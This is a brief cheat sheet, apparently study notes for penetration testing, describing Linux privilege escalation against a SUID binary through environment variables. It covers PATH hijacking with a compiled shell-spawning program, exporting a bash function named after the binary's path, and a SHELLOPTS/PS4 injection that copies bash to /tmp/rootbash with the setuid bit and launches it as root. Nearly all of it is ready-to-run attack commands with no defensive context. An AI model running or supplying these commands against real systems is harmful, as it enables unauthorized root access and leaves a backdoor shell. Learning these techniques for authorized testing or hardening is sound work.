Environment Variables

Example:

1:

/usr/local/bin/example-env

2:

strings /usr/local/bin/example-env

3:

gcc -o service /path/to/file.c (The code spawns bash shell. Works only if the full path of the original executable is NOT being used)

4:

PATH=.:$PATH /usr/local/bin/example-env

TIP:

If the absolute path of an executable is used (strings) we can do:

1: Check bash version:

/bin/bash --version

2:

function /path/to/file {/bin/bash -p;}

3: Run executable

Example:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/example2-env

/tmp/rootbash -p

Note: Doesn't work on Bash versions 4.4 and above!